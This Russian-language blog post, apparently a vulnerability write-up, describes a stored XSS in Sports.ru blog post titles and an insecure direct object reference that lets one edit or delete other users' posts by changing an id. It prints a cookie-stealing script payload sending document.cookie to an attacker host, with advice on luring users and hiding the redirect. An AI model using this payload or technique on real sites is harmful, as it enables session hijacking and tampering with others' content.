Активная XSS на Sports.ru и как ей можно было воспользоваться. А так же…


  Не так давно на Хабре появился пост от Sports.ru про их CDN (который заминусовали) и то, как они стараются делать всё для пользователей портала. Всё да не всё…
Про безопасность ребята совсем забыли. И так, по порядку.

sportsru-support

Всё началось с проверки полей доступных для заполнения в личном кабинете, на которых сразу получилось найти активную XSS, но увы, она нам ничего не давала, т.к. при размещении сообщения в комментариях — всё резалось, а имена вообще не отображались. Если забивать XSS в поле никнейма (оно тоже не фильтровалось) — то после сохранения, оно обновлялось на дефолтное и наша XSS пропадала. Но, раз в таких простых вещах как «Личный кабинет» поля не фильтруются, значит, в некоторых других разделах портала они тоже могут пропускать наши XSS.

sm0k3hq-sports-ru

Следующее, что я решил попробовать — «Блоги». Они сразу привлекли внимание, т.к. там пользователи более активно читают пишут комментят, да и самому можно писать без всяких предварительных модераций. Из минусов — на главную страницу конечно, пост не попадет, но вот ссылку пользователям через комментарии можно скормить.

После проверки заголовка можно понять, что куки работают на все суб-домены sports.ru и уязвимость можно сказать, глобальная.

sports-ru-headers

Как видно, «Set-Cookie: suida=JdHxFVJqPtR9hAF0DmJ7Ag==; expires=Sat, 25-Oct-14 09:50:12 GMT; domain=.sports.ru; path=/«- наши куки имеют параметр .sports.ru, что подразумевает работу на всех суб-доменах.
Защиты от XSS  и фреймов нету (X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN) что б уязвимую страничку нельзя было подставлять на других ресурсах.
Так же стоило бы использовать "session.cookie_httponly = True«.

Вот мы и добрались до блогов.
Создаем свой блог:

sportsru-blog-createsportsru-blog-create2
  При регистрации блога заполням все требующиеся поля и нажимаем кнопочку «Сохранить изменения».
А вот далее уже, при создании записи в блоге, мы и будем использовать нашу XSS. Жмём на кнопочку «Добавить запись» и начинаем заполнять поля.
sportsru-tribun
  В полях «Заголовок» и «Анонс» пишем наши XSSки  />»><script>alert(‘test’);</script>. Для проверки лучше использовать алерты. В «боевом» режиме: />»><script>location=’http://yoursite.com/sniffer/123.gif?cookie=’+document.cookie</script>, в самом скрипте добавляем обратный редирект на sports.ru, что б ничего не заподозрили через header(‘Location: ‘); или редиректим добавляя js, не суть.
 После этого сохраняем нашу запись в блоге и получаем ссылку вида:
   _www.sports.ru/tribuna/blogs/%username% — которую в последствии и надо отдавать пользователям. При переходе по ссылке они будут ловить алерты или отдавать куки, это уже на ваше усмотрение. Видео работы эксплойта добавлено ниже.
sportsru-blog-xss

Но как вы понимаете, это еще не конец, дальше еще один интересный момент. Возможность редактировать или удалять ЧУЖИЕ блоги.
После создания первого сообщения, у нас появляется возможность его редактировать:

sportsru-blog-edit

Для редактирования блога у нас есть чудесная ссылка _www.sports.ru/tribuna/blogs/blamssfer/edit_post.html?id=123456 и в этой ссылке если мы подменим значние edit_post.html?id= на любое другое (возьмем любой чужой блог), то получим возможность его тоже редактировать, или удалить вообще. На видео обратите внимание на точки в самом конце поста. Их было две, после редактирования осталась всего одна.

Смотрите так же   Mnenie.by - стоит ли овчинка выделки?

Видео:

…the end! 🙂

Может быть интересно:

Добавьте комментарий